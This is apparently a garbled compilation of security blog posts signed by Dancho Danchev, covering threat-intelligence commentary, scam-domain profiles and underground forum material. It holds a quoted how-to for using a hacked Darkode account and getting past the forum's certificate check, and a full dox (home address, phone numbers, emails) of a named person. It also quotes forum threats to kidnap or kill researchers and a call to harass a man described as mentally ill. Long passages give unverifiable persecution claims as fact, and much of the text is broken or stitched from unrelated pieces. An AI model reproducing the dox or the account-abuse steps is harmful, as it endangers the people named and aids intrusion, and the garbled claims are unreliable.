in today’s modern Intelligence Community successfully realizing the consequences of what

was once a proprietary network known as the Internet - today’s modern cyber warfare opera-

tional battlefield.

Many of my blog readers are familiar with my work throughout the years however what

you might not be aware of is the fact that throughout the 90's I used to pioneer the position of

Technical Collector in the context of processing hundreds of malicious and user-friendly Trojan

Horses also known as Remote Backdoors what would be later on described as Remote Access

Tools through my hacker enthusiast years as an independent contractor and novice hacker

working with the market-leading LockDownCorp anti-trojan horse software including leading to

what would be later on better described as the foundations of the Threat Intelligence market

qualitative Technical Collection including the very basics of the foundations of CYBERINT.

Let's discuss in-depth the current state of the Threat Intelligence

market segment in-

cluding an in-depth discussion on the Threat Intelligence market segment in the context of

today's modern U.S Intelligence Community.

6017

• **Indicators of Compromise** - the vary basics of formulating a new buzz-word for what was

once a proprietary-term coined by the Intelligence Community to populate and dissem-

inate actionable nation-state Cyberspace data to a variety of defensive and offensive

Cyber Warfare Units can be best described as a New Age in the area of responsive and

proactive OSINT type of acquisition methodologies that can be best described as a new

way to acquire leaked and potentially data-and-resource exposure in a variety of auto-

mated ways. Generalizing the very basics of the Threat Intelligence market segment in

the context of potential Indicators of Compromise leaks can be best tackled in a way of

offering central repositories including "government-free" access including a nation-state

Early Warning System for potential Cyberspace threat data including a variety of Indica-

tors of Compromise to prevent wide-spread data and information leaks further protecting

the U.S Government from current and emerging threats.

• **Corporate Sector Data Mining Should Considered** - what was once best known as "con-

ducting cyber espionage through botnets" including the conducting of "cyber espionage

through data mining of malware-infected corporate networks" can be best described as

today's proposed central Incident Response based central-repository empowering the U.S

Intelligence Community with the necessary data and expertise to stay ahead and act upon

current and emerging cyber threats.

• **Private Sector Cooperation and the "You Wish" mentality** - the general assumption that

the private sector will continue to cooperate and empower the U.S Intelligence Commu-

nity with the necessary data information and knowledge should be considered a wrong

approach on the U.S Intelligence Community's way to further protect the U.S national

infrastructure including the proactive response to current and emerging cyber threats.

What can be best done to further protect the U.S Government from current and emerging

threats can be best described as a modern central-repository of "government-free" access

based Cyber Threat Data type of platform.

• **Slicing the Threat on Pieces Should be Ignored** - What can be best described as the pro-

cess of slicing the threat "on pieces" is today's modern World of PR agencies and Threat

Intelligence market segment intermediaries including the active labeling of a particular

group of interest or an individual as a separate entry leading to an

overall mis-confusion

in the context of actually providing actionable Threat Intelligence to the U.S Intelligence

Community that could ultimately better protect the U.S National Infrastructure. With the

mainstream media continuing to raise the buzz around popular terms and newly coined

cyber threat actor groups in the face of the rise of the advanced persistent threat media-

buzz generating initiative it should be clearly noted that the overall irrelevance of labeling

a specific cyber threat actor in the public domain should be considered as an irrelevant ex-

ercise in the broad context of providing the U.S Intelligence Community with the necessary

data information and knowledge to stay ahead of current and emerging cyber threats.

• **Tactics Techniques and Procedures Should Be Buzz-Word Ignored -** The very basics of

coining a term term for the purpose of describing what can be best described as a gen-

eral cyber threat methodology known as qualitative assessment should be considered

as a possible flag raising operation that should be considered as a possible source for

mis-confusion in terms of the broader context of discussing and reacting to current and

emerging cyber threats.

• **The Rise of the "Threat Hunter" Cyber Security Career Position Is Already Causing**

Headaches - The rise of the "Threat Hunter" career position can be

best described as

a complete failure to understand the basics that drive today's modern Cyber Warfare

6018

Team including possible defensive and offensive Cyber Warfare Units and Cyber Opera-

tions Groups. With everyone "interested" in becoming a Cyber Warrior including a possi-

ble "Threat Hunter" it should be noted that the over-supply of private-sector companies

stealing revenue from Uncle Sam for the purpose of enriching and disseminating action-

able Threat Intelligence is overly increasing resulting in the overall demise of what was

once a proprietary technology and know-how in the hands of a few that truly grasped the

market and its potential successfully serving the needs of the U.S

government for years

to come.

• **The Rise of Secondary Markets for IOCs Should Provide "Government-free" Access** - The

general over-supply of market-segment driven repositories of actionable Threat Intelli-

gence data should be greatly attributed to a variety of factors including the rise of the

Threat Intelligence market segment and should be considered as a way for the U.S Intel-

ligence Community to clearly seek a technical and potentially market-segment relevant

way to populate a potential Cyber Threats data-base using public and proprietary sources

with a clear "government-free" access in mind.

6019

Current Proposals to U.S Intelligence Community in Terms of Threat Intelligence and Nation-

State Actors:

• **Clusted Activity** - Taking into consideration the fact that on the majority of occasions the

majority of quality Threat Intelligence type of data is publicly obtainable using a variety of

public and potentially proprietary sources is should be considered feasibly possible for the

U.S Intelligence community to build manage and operate a proactive-based Cyber Threats

anticipating platform including a possible Early Warning Based type of OSINT-capable sys-

tem able to anticipate and act upon current and emerging threats with

a possible cluster-

based type of data mining and information processing capabilities potentially serving the

needs of the U.S Intelligence Community.

• **Government-free Access** - The very notion that an Indian-based company will successfully

manage launch and operate a Threat Intelligence business should be largely ignored for

the very sake of figuring out a way to obtain access to a particular company's Threat In-

telligence data information and knowledge citing potential Nation Security issues. What

should be considered in terms of obtaining access to a company's data-base citing po-

tential National Security issues is the so called notion of "government-free" access based

type of private sector partnership.

• **Talent Acquisition Roles** - In today's modern Talent Acquisition Wars it should be clearly

noted that a select set of key individuals can greatly contribute to the overall demise of

cybercrime internationally taking into consideration the overall demise of the "Wisdom

of the Crowds" market-segment driven-concept. What should be considered when hiring

a potential top-notch Cyber Warfare and Information Warfare-based type of personnel

shouldn't be necessary years and decades worth of experience but the overall disruptive

degree of the individual in terms of "making a change" and "making an impact" compared

to a certification-based-driven crowd of individuals.

• **Central Repository -** What the modern U.S Intelligence Community can better do to bet-

ter protect the nation's Infrastructure should be considered in something in the lines of a

central-private-sector driven repository of Threat Intelligence type of data including the

notion of a "government-free" access in terms of obtaining access to a public or a propri-

etary company information and data assets.

15.1.4 Historical OSINT - Inside the Pay-Pay-Install (PPI) Spyware/Adware Affiliate

Business (2019-01-27 08:47)

15.1.5 Undermining Underground Black Markets - An Analysis (2019-01-31 10:36)

Sometimes, too much rationalism is precisely the worst possible mode of thinking next to

apathy, and as it usually happens, great and socially oriented visions never materialize due to

their poor execution or wrongly perceived critical success factors.

A recently proposed model to disrupt the computer underground's black markets by imperson-

ating the traders and undermining their reputations by making them look like "leechers" and

"rippers", is applaudible, but futile at least in respect to the proposed undermining approaches

against these communities :

""

The concepts discussed are like fighting child pornography by pretending to be a child

pornographer who when supposedly exchanging child porn, sends back 70+ video footage -

definitely outrageous.

How do you get inside an online child porn exchange ring? Theoretically, by demonstrating

how sick you are by proving you a have collecting, and are "contributing" to the growth of the

scene in order to prove you're

If you just think over the idea of disrupting the communications channels by which ille-

gally obtained data gets transfered online, you'll end up with the realistic answer that all such

attempts are futile, that's the nature of the Web, to stimulate communication and interaction

in news gets that get discovered on a monthly basis.

6021

Moreover, the way cyber jihadists are already embracing the Dark Web and hiding be-

hind crawlers are not welcome here authentication based sites, underground markets for such

goods have.

The tactics mentioned

Here's another interesting description of the people's information warfare concept :

"I don't see in this a big tragedy," said a respondent who used the

name Lightwatch.

“Western countries played not the smallest role in the fall of the Soviet Union. But the Russians

have a very amusing feature — they are able to get up from their knees, under any conditions

or under any circumstances. As for the West? “You are getting what you deserve.”

15.2 February

15.2.1 Astalavista

Security

Group

-

Official

Campaign

Announcement

(2019-02-03 10:23)

[1]

6022

Dear blog readers, I wanted to let you know that I've recently launched a crowd-funding

campaign on Indiegogo - " **[2] Astalavista Security 2.0 - A Hacker in Every Home**" with the idea

to raise the necessary funds for the upcoming launch of the World's Largest and Most Popular

Information Security Portal.

UPDATE: I wanted to let everyone know that I've just posted the following updates re-

garding the upcoming launch of the portal. How you can help? Consider spreading the word

further and possibly consider making a modest donation to keep up the campaign going.

- **[3] New Update - Official Campaign Announcement**
- **[4] New Update - Official Astalavista 2.0 - Press Release Launch**
- **[5] New Update - Official Astalavista 2.0 -Statement of Work**
- **[6] New Update - Official Astalavista 2.0 - The Big Idea**
- **[7] New Update - Official Astalavista 2.0 - The Fanciful Story**

Stay tuned for an additional set of campaign details to be published anytime soon including an

in-depth information regarding the history of the Portal including the Scene the way we know

it throughout the 90's. Stay tuned!

Remember Astalavista Security Group - The Underground?

Basically it used to be my

primary working place throughout the 90's and I wanted to say thanks to everyone who

expressed their interest in the resurrection of the portal including possible feedback and

personal donations.

Users interested in contributing with modest funds can always approach me at dan-

cho.danchev@hush.com including the following **[8] Live Skype Conversation** Link for the

purpose of managing and operating the campaign including the upcoming launch of the

portal.

Looking forward to receiving your feedback suggestions and general questions.

Stay tuned!

15.2.2 The Current and Future Cyber Threat Landscape - 2019 - A Prediction and

Current Trends Analysis (2019-02-06 13:27)

- old school hacktivism - the rise and the decline of the Web Site defacement hacktivism

market segment can be greatly attributed to a variety of pro-hacking groups internationally

that would inevitably continue to cause havoc and will continue to affect the infrastructure of

major including boutique Web sites on a global scale

- URL shortening services

6024

- compromised legitimate Web site

- opt-in activism

- ransomware

- monetization

- malicious economies of scale

- cyber warfare

- information warfare

15.2.3 Historical OSINT - Re-Shipping Money Mule Recruitment "Your Shipping Panel

LLC" Scam Domain Portfolio Spotted in the Wild (2019-02-07 10:14)

The time has come to profile a recently intercepted and currently active malicious and

fraudulent re-shipping money mule recruitment fraudulent campaign successfully enticing

users into interacting with the rogue and bogus content potentially risk-forwarding the risk of

the fraudulent transaction to the unsuspecting user.

6025

Sample malicious URL:

hxxp://yourshippingpanel.com

Sample Mailing Address:

One World Trade Center, New York, NY, 10007, USA

+1 (606) 879-0046

Sample Company Description:

" *Your Shipping Panel LLC" is successfully positioning the company "Founded in 1995, is*

a package delivery company with services to Eastern Europe as well as to all the countries of

the former Soviet Union. Over the years, Your Shipping Panel LLC has grown into an industry

leader by focusing on the goal of connecting customers in the United States with their families,

friends and businesses in Eastern Europe. This also includes e-commerce between those

countries. Today, Your Shipping Panel LLC has become a dominant force in package delivery

with services to Ukraine, Russia, Belarus, Moldova, Uzbekistan, Kazakhstan, Kyrgyzstan,

Georgia, Azerbaijan and Armenia. Our specialized transportation and logistics services to

those countries lead the way as the most recognized brand in North America. "

GLOBAL POSTAL EXPRESS

MISSION

At Global Postal express, We Provide best in service global logistics through our people by building lasting relationships with the commitment to prioritize our customer needs to generate financial results.

OBJECTIVES

1. To offer personalized logistics services.
2. To manage and create solutions that immediately respond to the dynamic world of international logistics.
3. To implement technology that creates process efficiency.
4. To grow strategically in markets that give our customers opportunities to reach and exceed their business goals and objectives.

VISION

Be the leader in the development of integrated logistics strategies by offering the highest levels of quality, reliability and exceptional customer service while strategically growing nationally and internationally.

Unparalleled customer service from a dedicated team of professionals who will help coordinate your booking and ensure a seamless journey for your animals

PET SHIPPING

International bookings for pets are only accepted from professional pet shippers who are members of the International Pet and Animal Transportation Association (IPATA). A list of IPATA members near you can be found at www.ipata.org Opens in new window.

Permanent Identification

A microchip is currently the most accepted global standard for permanent animal identification. Most countries require micro chipping, and the microchip must be ISO compatible (typically digits). Permanent identification offers the best insurance for reuniting a lost pet with its owner. Once you insert the microchip be sure to register the chip with the manufacturer. Also be sure to change the registration information before your international travels or at least once you reach your final destination.Note that tattoos are no longer accepted as means of identification.

be published anytime soon.

15.2.4 Historical OSINT - Global Postal Express Re-Shipping Mule Recruitment Scam

Spotted in the Wild (2019-02-07 10:51)

Continuing the series of post detailing the activities of currently circulating malicious and

fraudulent spam campaigns successfully targeting potential money mule recruiters I've

recently came across to Global Postal Express which basically:

" We Provide best in service global logistics through our people by building lasting rela-

tionships with the commitment to prioritize our customer needs to generate financial results.

Be the leader in the development of integrated logistics strategies by offering the highest

levels of quality, reliability and exceptional customer service while strategically growing

nationally and internationally. "

15.2.6 Historical OSINT - Profiling a Typosquatted Facebook and Twitter Imperson-

ating Fraudulent and Malicious Domains Portfolio (2019-02-07 15:47)

6041

With cybercriminals continuing to populate the cybercrime ecosystem with hundreds of

malicious released including a variety of typosquatted domains it shouldn't be surprising that

hundreds of thousands of users continue falling victim to fraudulent and malicious malware

and exploits serving schemes.

In this post I'll profile a currently active fraudulent and malicious typosquatted domain

portfolio successfully impersonating Facebook and Twitter for the purpose of enticing users

into interacting with the rogue and malicious domains.

15.2.7 Historical OSINT - Profiling a Rogue and Malicious Domain Portfolio of OEM-

Pirated Software (2019-02-07 17:27)

In a cybercrime-ecosystem dominated by fraudulent and malicious releases cybercriminals

continue relying on fraudulent and potentially-malicious affiliate-based type of revenue-

sharing schemes for the purpose of serving fraudulent and malicious software to thousands of

unsuspecting users including OEM-powered pirated software to millions of users globally.

In this post I'll profile a currently active fraudulent and malicious domain portfolio of

OEM-powered pirated-software serving fraudulent and malicious domains.

With software piracy continuing to increase and proliferate it shouldn't be surprising that

rogue and fraudulent affiliate-based type of networks will continue to make impact globally

potentially exposing millions of user to a variety of risks including malicious software.

Stay tuned for an updated set of fraudulent and malicious piracy-themed portfolio of

domains to be published anytime soon.

Remember the massive **[1] Russia vs Georgia cyber attack circa 2009**? It seems that the time

has come for me to dig a little bit deeper and provide **[2] actionable**

intelligence on one of

the actors that seem to have participated in the campaign including a sample Pro-Georgian

type of Cyber Militia that apparently attempted to "risk-forward" the responsibility for waging

Cyberwar to third-parties including Russian and Anti-Georgia supporters.

How come?

In this post I'll provide actionable intelligence on what appears to be a cur-

rently active Brazilian supporter of the Cyber Attacks that took place circa 2009 with the idea

to discuss in-depth the tools and motivation for launching the campaign of the cybercriminals

behind it.

Sample malicious URL known to have participated in the campaign:

hxxp://geocities.ws/thezart/

It's 2010 and I'm coming across to a malicious and fraudulent file repository that can be

best described as a key actor that managed to participate perhaps even orchestrate the

Russia vs Georgia cyber attacks circa 2009. Who is this individual? How did he manage to

contribute to the Russian vs Georgia cyber attacks? Did he rely on active outsourcing or was

he hired to perform the orchestrated DDoS for hire attacks that took place back then? Keep

reading.

It appears that a Brazilian user known as The Zart managed to participated in the Rus-

sia vs Georgia cyber attacks circa 2009 relying on a variety of tools and techniques known as:

- DNS Amplification Attacks

6057

- Web Site Defacement Tools

- Targeted Spreading of Vulnerable Legitimate Web Sites

- Automated Web-Site Exploitation - Long Tail of The Malicious Web

which basically resulted in a self-mobilized militia that actually participated and launched the

Russia vs Georgia cyber attacks circa 2009.

15.2.9 Historical OSINT - Profiling a Portfolio of Fake Visa Application Scam Domains

(2019-02-07 17:56)

It's been a while since I last posted a quality update profiling a versatile currently circulating

malicious and fraudulent spam campaign profiling and highlighting the fraudulent and mali-

cious activities of the cybercriminals behind the campaign.

In this post I'll profile a currently circulating Fake Visa Application fraudulent campaign

enticing users into submitting their personal details for the purpose of obtaining a fake and

rogue visa.

Related emails known to have participated in the campaign:

portfolio to be published anytime soon.

15.2.10 Historical OSINT - Sub7 Crew Releases New Version on 11th Anniversary of

The RAT (2019-02-07 18:03)

6059

It's 2010 and I've recently came across to the following announcement at Sub7's Main Forum

- the most ubiquitous trojan horse also known as Remote Access Tool circa the 90's on the

upcoming release of a new version.

" *People can buy unique FUD servers in the shop and custom clients can also be written*

to help you admin PC's remotely with your own features. These are selling well so be sure

to grab your own custom version while we are offering them at this price. Please be advised

there is currently a waiting list for this. "

Sample detection rate:

- **[1] borlndmm.dll** - Result: 0/42 (0 %)

- **[2] EditServer.exe** - Result: 10/42 (23.81 %)

- **[3] Server.exe** - Result: 18/41 (43.91 %)

- **[4] SubSeven.exe** - Result: 16/41 (39.03 %)

Should The Scene the way we know it re-appear the way we know it?

It appears that

every then and now a new cybercrime-friendly tool is trying to materialize taking us back to

what used to be The Scene circa the 90's.

15.3 March

15.3.1 Announcing Offensive Warfare 2.0 - Official Hacking and Security Community

Launch (2019-03-22 15:14)

Dear blog readers, I wanted to let everyone know that I've recently launched a public **[1] hack-**

ing and cyber security community repository offering Security Directory Downloads Podcasts

6063

and Security Videos directory including a countless number of hacking and security resources

including a possible hacking and security discussion including community-based services and

products - to keep the spirit of the Scene and the Security Industry - the way we know it.

How to obtain access?

- consider approaching me at dancho.danchev@hush.com for the

purpose of requesting

an invite

How you can contribute?

- feel free to approach your colleagues and friends including social network in terms of

spreading the word about the portal and the community

- consider registering making an introduction and starting to contribute with content

- approach me directly at - dancho.danchev@hush.com with your questions and possible

feature and content suggestion

Looking forward to receiving your response including any additional questions or com-

ments including suggestions that you might have in terms of the project.

Stay tuned!

15.4 April

15.4.1 Dancho Danchev's 2010 Disappearance - An Elaboration -

Part Two

(2019-04-04 05:51)

[1]

UPDATE: I can be reached at dancho.danchev@hush.com or at +359 87 68 93 890 in

case of an emergency.

UPDATE: It appears that recently a car belonging to local police department (**hxxp://troyan-**

police.com; **police _troyan@abv.bg)** was stopped somewhere around my place with the lights

turned on with the idea to provoke a possible local police visit.

UPDATE: It appears that my place was visited for a second time by local police officers

(**hxxp://troyan-police.com**; **police _troyan@abv.bg)** with third-party doctors (**http://mbal-**

troyan.com; **mbal _troyan@abv.bg**) for the purpose of apparently injecting me and a

document for the injection was signed by someone that I know.

UPDATE: It appears that someone managed to twist my arm and therefore pressed a

pressure on my eye without my knowledge with random people attempting to communicate

with me behind a wall.

UPDATE: It appears that prior to my presentation at InfoSec 2012 someone managed to

place a plaque on the wall in Earl's Court and therefore I experienced a pressure on my head

while making a presentation.

UPDATE: It appears that prior to my presentation visit in Lyon in

2010 someone man-

aged to wound my mouth with something that can be described as wall interference.

6065

UPDATE: It appears that someone managed to open my eye and therefore I'm currently

experiencing a pressure behind a wall with random people attempting to communicate with

me.

UPDATE: It appears that I'm currently persistently experiencing a pressure on my mouth

including something in the lines of a toxic chemical on my nose.

UPDATE: It appears that someone managed to map my place including my head and

body using rubber and is persistently trying to communicate with me.

UPDATE: In case you're interested in contacting me in terms of my law enforcement is-

sues and potential kidnapping and harassment attempts including possible interview requests

- feel free to approach me at dancho.danchev@hush.com as I'm currently busy looking for

a full time cybercrime researcher security blogger and threat intelligence analyst type of

position.

I would be also definitely looking forward to sharing some of my sensitive projects including

related work in various other sensitive areas with the idea to end the ongoing IP (Intellectual

Property) robbery courtesy of a variety of industry-leading companies and individuals. **[2] Has**

the time come to work hard and set them straight? It appears so. Feel free to approach me

at dancho.danchev@hush.com

Dancho Danchev

Cybercrime Researcher, Security Blogger at ZDNet, Security Blogger at Webroot Inc.

You can use the following PGP key to approach me regarding possible **[3] career opportunities**

regarding possible involvement in related sensitive projects at dancho.danchev@hush.com or

just to say hi request **[4] Threat Data** access including a sample or a possible trial or make a

comment regarding my current and **[5] historical OSINT** research including possible references

to my 2010 disappearance including various cybercrime underground chatter referencing me

and my research including disappearance and possible kidnapping including possible GCHQ

Lovely Horse references and related resources and comments.

Sample Information Security and Information Warfare cartoon circa 2008:

6070

Second Sample Information Security and Information Warfare cartoon circa 2008:

UPDATE: It appears that someone managed to somehow place a basketball ball on my

head chin and eye and therefore I'm currently experiencing a pressure on my eye and my face

with people attempting to communicate with me.

6071

UPDATE: It appears that someone is attempting to communicate with me using pressure

pressed on my stomach.

UPDATE: It appears that someone is pressing a doll on a wall and is attempting to com-

municate with me including an increased pressure in my place.

UPDATE: It appears that different people are attempting to communicate with me be-

hind a wall using a basketball ball interfering with the pressure in my place.

UPDATE: It appears that the robot has been persistently sprayed with homo-sexual spray

including a possible female spray leading to a persistent harassment and torture currently

affecting my life-being work-relationships and intellectual property.

UPDATE: It appears that someone managed to placed a box on the top of the robot for

a period of several years successfully blinding me and restraining me from remote work

activity.

birdwatcher[lovelyhorse][users/klout_topics]>
```

In a related news story regarding my experience and expertise in the field it appears

that the GCHQ has been actively monitoring me on Twitter including

active traffic monitoring

in a 2012 Intelligence Community program labeled - **[6] Lovely Horse** that's basically a Palantir

implementation of **[7] OSINT practices** regarding a certain Twitter account. The purpose? Ac-

tive traffic and **[8] content monitoring** for the purpose of robbing me out of sensitive research

and related research data which leads me to believe that I've been successfully contributing

to a massive treasure trove IP (Intellectual Property) theft and robbery courtesy of the GCHQ

and the NSA for a significant period of time.

- **[9] Western Spy Agencies Secretly Rely on Hackers for Intel and Expertise**

- **[10] LOVELY HORSE: GCHQ Program Monitored Hacker/InfoSec Community on Social Me-**

dia

- **[11] GCHQ's 'Lovely Horse' tool helped spooks monitor hackers online**

- [12]**GCHQ created 'Lovely Horse' to keep track of top hackers' and security special-**

ists' blogs and tweets

- [13]**Spy Agencies Rely on Hackers for Stolen Data and Monitoring Security Experts for**

Expertise

- [14]**GCHQ Create Their Own Tweetdeck To Track People of Interest**

- [15]**GCHQ siphoned off info stolen by hackers for its own ends**

- [16]**Some hackers are unknowingly gathering intel for the NSA**

It's also becoming increasingly evident that I'm also a participant in several other Intelli-

gence Community Programs that appear to have successfully attempted to rob and steal my

"know-how" leading me to pursue a possible closed-community data and research sharing or

6074

to request invite-only access to related research and data. Remember [17]**HBGary**? It appears

that every then and now a security company tries to re-position the industry by offering

targeted and proprietary Threat Intelligence to a variety of sources successfully undermining

a variety of community-offered and presented actionable Threat Intelligence.

While it's an honor to receive a competing proposition it should be noted that the major-

ity of my research is public excluding several community-driven sensitive projects that I

spend my time working on. It appears that the time has come for me to take my research

to a whole new level which led me to pursue my own career patch within the Intelligence

Community by successfully launching **[18] Disruptive Individuals** including the **[19] Obmonix -**

Cybercrime and Cyber Jihad Fighting Platform including the eventual launch of the invite-only

[20] Threat Data - The World's Most Comprehensive Threat Database including a possible

[21] career opportunity with the industry-leading Webroot including a short-term venture with

[22] GroupSense including a possible **[23] SCMagazine 2011 nomination for my Twitter activity**

including the **[24] upcoming launch of Astalavista Security Group 2.0** - my primary working

location throughout the 90's with a currently active crowdfunding campaign.

6075

While I continue to be a firm believer that sharing and communicating actionable Threat

Intelligence to a variety of source is the appropriate way to proceed and process a variety

of cybercrime-related campaigns and malicious activity I believe that the time has come for

me to take my research to a whole new level prompting me to seek a new career opportunity

as the **[25] World's leading cybercrime researcher security blogger and threat intelligence**

analyst.

6076

The majority of sources referenced in the original research basically represent the major-

ity of **[26] my RSS feeds** circa 2006 and it's becoming increasingly interesting perhaps even

funny to figure out that the majority of my **[27] OSINT techniques**

including active WHOIS mon-

itoring and research are widely accepted and discussed within the Intelligence Community.

6077

What prompted the GCHQ to issue an active traffic and Twitter account monitoring cam-

paign? Keep reading - back in the day throughout the period of 2008-2013 I used to actively

monitor and profile various high-profile nation-state malicious and fraudulent campaigns

including the **[28] infamous Koobface botnet –** listed to the **[29] original MP3 interview** – which

I extensively **[30] profiled and managed to practically take down** including the **[31] active**

exposing of its core **[32] botnet master** including the active exposure of client-side exploits

being served through the **[33] Koobface botnet** through what

appears to be **[34] a partnership**

between the Koobface botnet master and a well known cybercriminal - Exmanoize a well

known author of a well known Web malware exploitation kit including the receiving of malware-

infected host embedded messages in response to my " **[35] 10 things you didn't know about**

the Koobface gang" including **[36] what appears to be** a **[37] direct redirection of Facebook** to

my personal blog including yet **[38] another message** left by the **[39] Koobface gang**, including

a variety of **[40] typosquatted C &C server** domains registered to my name **[41] including**

extensive [42] Russian Business Network coverage at the time.

Sample Koobface Botnet Infographic courtesy of CyberCamp 2016:

6078

It's also worth mentioning that at the time the **[43] U.S Treasury Department was also**

redirecting to my Blogger profile **[44] including the active HOST file modification** courtesy of

a well known money-mule recruitment campaign.

Consider going through the following set of resources and news articles throughout 2008-2013

6079

which can best describe the Threat Intelligence Scene the way I know it and the way I'm

positive it should be.

UPDATE: It appears that someone placed a remote robot at local police department capable

of recording my life including my life-being leading to a ruined career work relationships and

intellectual property.

UPDATE: It appears that an unknown group of people is attempting to

communicate with me

using a transmitter on my mouth using plastic paper in their mouth.

UPDATE: It appears that someone is permanently trying to hide my eyes using plastic

paper apparently using a transmitter that's been apparently placed on my mouth. It also

appears that the person behind the transperant is attempting to move closely thereby ruining

my equipment and life-being.

UPDATE: It appears that the transperant is operated by someone relying on lenses in-

cluding bottles to map and touch-point related activities of an individual in place following

persistent harassment and life-being manipulation.

6084

Svetlin on January 15, 2011

To Anonymous above: I'm pretty sure internet access can't be denied in Bulgaria. Also apart from illegal it would be unenforceable.

Anonymous on January 15, 2011

What is Dancho's nationality? The story mentions the US Embassy. Is he an American citizen?

Surfer on January 16, 2011

http://deterrent.net/

In a related news article - " **[134] ZDNet Security Blogger Goes Missing in Bulgaria**" covering

my disappearance I came across to a juicy comment referencing the work of a well-known

artist which leads me to research a little bit further leading me to the following CD/Vinyl label -

"Blue Sabbath Black Cheer / Griefer – We Hate You / Dancho Danchev Suck My Dick" courtesy

of the the following individual.

6085

Take into consideration the following brief post regarding the associated individual:

" *It's 2010 and I'm stumbling upon a defaced image of my head shot (circa 2006).*

I

never actually bothered about what others say, even when they insist that I'm maliciously

enjoying the fact that I profile, expose, and disrupt cybercrime campaigns when there's no

time for enjoyment, as the stakes are too high.

The defaced headshot is part of the released back in 2010 album "We Hate You/Dancho

*Danchev S*ck my D*ck" by the Blue Sabbath Griefer group.*

6086

So who's behind this "black PR" campaign?

Who's the mysterious Photoshop-er?

It's a

[135]Canadian music artist called [136]Ron Brogden, who spends his spare time coding for

hire, when he's not photoshoping my headshots.

Hatred-friendly domain name reconnaissance:

deterrent.net - 95.142.172.70 - Email: slave@codegrunt.com

Domain owner: Ron Brogden, Secondary emai: moron@industrial.org

Music Label Address: P.O. Box 8021; Victoria, BC, Canada; V8W 3R7

Home address: 647 Speed Avenue, Victoria, British Columbia, V8Z 1A5

Phone: +1.250-360-0372; +1.250-381-0088

6087

```
Hello,
If you receive this that mean you are someone that i can trust.
I've hacked a darkode account recently and i thought you will be interested.

But before here are some recommandations to keep the account safe:
- I've not shared this account to only you
- If a thread is marked as 'not read' on darkode don't read it: let the
original account owner read it first
- you can view who is online on darkode without being logged:
[redacted]/viewonline.php
- Take screenshots if you want but make sure to hide the account name and
the karma field on messages if you publish something.

As you know Darkode need a special SSL cert (like maza, directconnection
and some other private boards i will not tell..)
The SSL things can be avoided if you connect from IP (and i think darkode
guys don't know that)
And another cool things, darkode is running on phpbb2, (session is stored
on the url and don't collide, you can log from multi place at the same
time)
To log into darkode go to [redacted]/login.php
User:  Nassef
[redacted]
Send the form and now you are redirected to darkode.com who ask a cert,
just replace https://darkode.com by [redacted] on the url and enjoy.

Regards
```

Responding to the same IP are also the following domains operated by Ron:

codegrunt.com

deterrent.net

industrial.org

nuckflix.com"

In terms of my 2010 disappearance I also recently came across to the following **[137] screen-**

shots courtesy of the cybercrime-friendly forum Darkode courtesy of an individual known as

6088

Xylitol discussing my disappearance including a possible Hitman Request charging at $10,000.

Unfortunately, the screenshots were taken using the name of Nassef with whom Xylitol shared

his accounting details with me including the taking of the screenshots.

6089

Dancho Danchev is still missing

Author | Message

...but is alive, apparently.

I feel bad for the dude, sounds like he bit off more than he could chew.

Rumor is that he might be in the crazy house....

FBI?
Dancho missing?
Shutdown?
thing about it

Fuck the Systems!!!

rumours are that he got paranoid/schizophrenic and is now on a mental hospital
what else could it be when a mix up a light equipment for a bugging device

Krebs next?

What's his nickname by the way?

Update:

someone should send him emails saying that the fbi is onto him, and will soon catch him. Make his schizophrenia even worst, and hopefully disappear again.

hahahaha.

one less researcher fag we need to worry about

sound he's back: http://twitter.com/#!/danchodanchev

Ivan Kaspersky kidnapped

Author	Message
[illegible] Prison Pimp Joined: 23 Nov 2009 Posts: 551 Rep: 1885	Sulekh wrote: godlike wrote: We should kidnap the people who are behind abuse.ch .....Those guy's have screwed up my business a few times On maze was a thread about killing Roman. But hey...this goes a bit too far, its a cat and mouse game but from a technical point of view imho. going to far my ass. If he is helping authorities by putting people behind bars for 1+ years, he better be ready to get whacked. Fucking drug dealers kill people, and they only face 1-2 years (without the murder of course).

[NCR] Level 1 Joined: 20 Feb 2010 Posts: 269 Rep: 1625 Location: ...skyline...	About five years ago zlimbie had published a very interesting open-letter from his underground friends (est/FSB) doing vx-vs-av affairs. In that letter unknown guy ("cops", using extraordinarst level of rank) and Whale/2bit said KAV = rurkshit and this company doesn't deserve any respect, they are all stupid lame. Guys have asked a rhetorical question to themself, something like : "What should we do? Probably, collect some money for physical counter-strike....I have 10K for start and my niggaz will help us. Kasper, don't do that shit in newspapers where you are using unpolmetic, proof for fetched allegations through yellow horror stories which sounds like "Russia is a citadel of Cybercrime! We are your saviours!" Anyway, I don't think that someone from blackhats has realized such kind of RL crime because kidnapping has serious consequences. Probably, if it's not a PR, this situation was due to really mad criminals (we can't exclude an internal battles between serious persons). kasper started his early career from KGB then founded company of the same name, he has connections in government and federal security service, so only mindless or big-handed criminals can force him to kidnapping. Think about the Wax...

UPDATE: It appears that my 2010's disappearance is slowly turning into a modest **[138] kid-**

napping attempt on behalf of Bulgarian law enforcement in constitution with DANS (State

Agency for National Security) who appear to have been operating a long-turn operation to ruin

my reputation intellectual property and work relationships successfully holding me a hostage

for a period of seven years following a long-run kidnapping and harassment attempts leading

to a ruined career intellectual property violation and work relationships.

Operating a remotely-operated gas pomp with azbest targeted at my place Bulgarian

6094

law enforcement in constitution with DANS (State Agency for National Security) appear to

have successfully tracked down and manipulated my life-being following a successful set

of long-run kidnapping and harassment attempts leading to a successfully ruined career

intellectual property violation and work relationships.

It appears that Bulgarian law enforcement in constitution with DANS (State Agency for

National Security) have placed remote stickers on my place and have managed to successfully

map my place leading to a successful illegal entry courtesy of an unknown person followed

by another unknown person supposedly a colleague followed by an illegal entry courtesy of

unknown police officers who took my ID an escorted me to a local institution without explaining

the reason for holding me hostage there.

It appears that the group is operating a transperant using feelings to map and touch

point related activities of the individuals in place following a successful kidnapping and

harassment attempt leading to illegal entry and possible kidnapping attempt. It appears that

Bulgarian law enforcement in constitution with DANS (State Agency for National Security)

have managed to place a plastic sticker in my mouth leading to a successful monitoring and

tracking including the use of a transperant leading to a successful kidnapping and harassment

attempt leading to a ruined career intellectual property violation and work relationships.

hotel.com), some, of, my, clothes, were, missing.

6099

UPDATE:

It,

appears,

that,

my,

place,

was,

recently,

supposedly,

vis-

ited,

by,

Plamen,

Dakov

(**hxxp://universalstroi.com**),

Hristo,

Radionov

(**hxxp://universalstroi.com**; **hxxp://www.facebook.com/hristo.radionov**), and, Ivailo, Dochkov

(**hxxp://www.facebook.com/ivodivo**), who, left, money, for, me.

